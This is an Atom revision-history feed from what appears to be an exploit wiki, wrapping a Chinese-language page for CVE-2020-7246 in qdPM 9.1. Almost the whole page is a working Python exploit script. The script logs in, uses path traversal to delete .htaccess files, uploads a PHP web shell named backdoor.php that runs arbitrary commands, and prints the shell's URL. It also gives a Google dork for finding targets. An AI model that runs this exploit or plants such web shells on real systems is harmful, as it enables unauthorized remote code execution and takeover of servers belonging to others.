<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-7246_qdPM_9.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn</id>
	<title>CVE-2020-7246 qdPM 9.1 遠程代碼執行漏洞/zh-cn - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-7246_qdPM_9.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-7246_qdPM_9.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;action=history"/>
	<updated>2026-04-05T12:53:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-7246_qdPM_9.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5184&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;CVE-2020-7246 qdPM 9.1 远程代码执行漏洞&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-7246_qdPM_9.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5184&amp;oldid=prev"/>
		<updated>2021-06-16T09:35:10Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;CVE-2020-7246 qdPM 9.1 远程代码执行漏洞&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==影响版本==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Version: &amp;lt;=1.9.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: qdPM 9.1 - Remote Code Execution&lt;br /&gt;
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net&lt;br /&gt;
# Date: 2020-01-22&lt;br /&gt;
# Exploit Author: Rishal Dwivedi (Loginsoft)&lt;br /&gt;
# Vendor Homepage: http://qdpm.net/&lt;br /&gt;
# Software Link: http://qdpm.net/download-qdpm-free-project-management&lt;br /&gt;
# Version: &amp;lt;=1.9.1&lt;br /&gt;
# Tested on: Windows 10 (Python 2.7)&lt;br /&gt;
# CVE : CVE-2020-7246&lt;br /&gt;
# Exploit written in Python 2.7&lt;br /&gt;
# Tested Environment - Windows 10&lt;br /&gt;
# Path Traversal + Remote Code Execution&lt;br /&gt;
&lt;br /&gt;
# Command - qdpm-exploit.py -url http://localhost/ -u user@localhost.com -p password&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
from lxml import html&lt;br /&gt;
from argparse import ArgumentParser&lt;br /&gt;
&lt;br /&gt;
session_requests = requests.session()&lt;br /&gt;
&lt;br /&gt;
def multifrm(&lt;br /&gt;
   userid,&lt;br /&gt;
   username,&lt;br /&gt;
   csrftoken_,&lt;br /&gt;
   EMAIL,&lt;br /&gt;
   HOSTNAME,&lt;br /&gt;
   uservar,&lt;br /&gt;
   ):&lt;br /&gt;
   request_1 = {&lt;br /&gt;
       'sf_method': (None, 'put'),&lt;br /&gt;
       'users[id]': (None, userid[-1]),&lt;br /&gt;
       'users[photo_preview]': (None, uservar),&lt;br /&gt;
       'users[_csrf_token]': (None, csrftoken_[-1]),&lt;br /&gt;
       'users[name]': (None, username[-1]),&lt;br /&gt;
       'users[new_password]': (None, ''),&lt;br /&gt;
       'users[email]': (None, EMAIL),&lt;br /&gt;
       'extra_fields[9]': (None, ''),&lt;br /&gt;
       'users[remove_photo]': (None, '1'),&lt;br /&gt;
       }&lt;br /&gt;
   return request_1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def req(&lt;br /&gt;
   userid,&lt;br /&gt;
   username,&lt;br /&gt;
   csrftoken_,&lt;br /&gt;
   EMAIL,&lt;br /&gt;
   HOSTNAME,&lt;br /&gt;
   ):&lt;br /&gt;
   request_1 = multifrm(&lt;br /&gt;
       userid,&lt;br /&gt;
       username,&lt;br /&gt;
       csrftoken_,&lt;br /&gt;
       EMAIL,&lt;br /&gt;
       HOSTNAME,&lt;br /&gt;
       '.htaccess',&lt;br /&gt;
       )&lt;br /&gt;
   new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'&lt;br /&gt;
                               , files=request_1)&lt;br /&gt;
   request_2 = multifrm(&lt;br /&gt;
       userid,&lt;br /&gt;
       username,&lt;br /&gt;
       csrftoken_,&lt;br /&gt;
       EMAIL,&lt;br /&gt;
       HOSTNAME,&lt;br /&gt;
       '../.htaccess',&lt;br /&gt;
       )&lt;br /&gt;
   new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'&lt;br /&gt;
                                , files=request_2)&lt;br /&gt;
   request_3 = {&lt;br /&gt;
       'sf_method': (None, 'put'),&lt;br /&gt;
       'users[id]': (None, userid[-1]),&lt;br /&gt;
       'users[photo_preview]': (None, ''),&lt;br /&gt;
       'users[_csrf_token]': (None, csrftoken_[-1]),&lt;br /&gt;
       'users[name]': (None, username[-1]),&lt;br /&gt;
       'users[new_password]': (None, ''),&lt;br /&gt;
       'users[email]': (None, EMAIL),&lt;br /&gt;
       'extra_fields[9]': (None, ''),&lt;br /&gt;
       'users[photo]': ('backdoor.php',&lt;br /&gt;
                        '&amp;lt;?php if(isset($_REQUEST[\'cmd\'])){ echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;; die; }?&amp;gt;'&lt;br /&gt;
                        , 'application/octet-stream'),&lt;br /&gt;
       }&lt;br /&gt;
   upload_req = session_requests.post(HOSTNAME&lt;br /&gt;
           + 'index.php/myAccount/update', files=request_3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main(HOSTNAME, EMAIL, PASSWORD):&lt;br /&gt;
   result = session_requests.get(HOSTNAME + '/index.php/login')&lt;br /&gt;
   login_tree = html.fromstring(result.text)&lt;br /&gt;
   authenticity_token = \&lt;br /&gt;
       list(set(login_tree.xpath(&amp;quot;//input[@name='login[_csrf_token]']/@value&amp;quot;&lt;br /&gt;
            )))[0]&lt;br /&gt;
   payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,&lt;br /&gt;
              'login[_csrf_token]': authenticity_token}&lt;br /&gt;
   result = session_requests.post(HOSTNAME + '/index.php/login',&lt;br /&gt;
                                  data=payload,&lt;br /&gt;
                                  headers=dict(referer=HOSTNAME&lt;br /&gt;
                                  + '/index.php/login'))&lt;br /&gt;
   account_page = session_requests.get(HOSTNAME + 'index.php/myAccount'&lt;br /&gt;
           )&lt;br /&gt;
   account_tree = html.fromstring(account_page.content)&lt;br /&gt;
   userid = account_tree.xpath(&amp;quot;//input[@name='users[id]']/@value&amp;quot;)&lt;br /&gt;
   username = account_tree.xpath(&amp;quot;//input[@name='users[name]']/@value&amp;quot;)&lt;br /&gt;
   csrftoken_ = \&lt;br /&gt;
       account_tree.xpath(&amp;quot;//input[@name='users[_csrf_token]']/@value&amp;quot;)&lt;br /&gt;
   req(userid, username, csrftoken_, EMAIL, HOSTNAME)&lt;br /&gt;
   get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')&lt;br /&gt;
   final_tree = html.fromstring(get_file.content)&lt;br /&gt;
   backdoor = \&lt;br /&gt;
       final_tree.xpath(&amp;quot;//input[@name='users[photo_preview]']/@value&amp;quot;)&lt;br /&gt;
   print 'Backdoor uploaded at - &amp;gt; ' + HOSTNAME + '/uploads/users/' \&lt;br /&gt;
       + backdoor[-1] + '?cmd=whoami'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
   parser = \&lt;br /&gt;
       ArgumentParser(description='qdmp - Path traversal + RCE Exploit'&lt;br /&gt;
                      )&lt;br /&gt;
   parser.add_argument('-url', '--host', dest='hostname',&lt;br /&gt;
                       help='Project URL')&lt;br /&gt;
   parser.add_argument('-u', '--email', dest='email',&lt;br /&gt;
                       help='User email (Any privilege account)')&lt;br /&gt;
   parser.add_argument('-p', '--password', dest='password',&lt;br /&gt;
                       help='User password')&lt;br /&gt;
   args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
   main(args.hostname, args.email, args.password)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>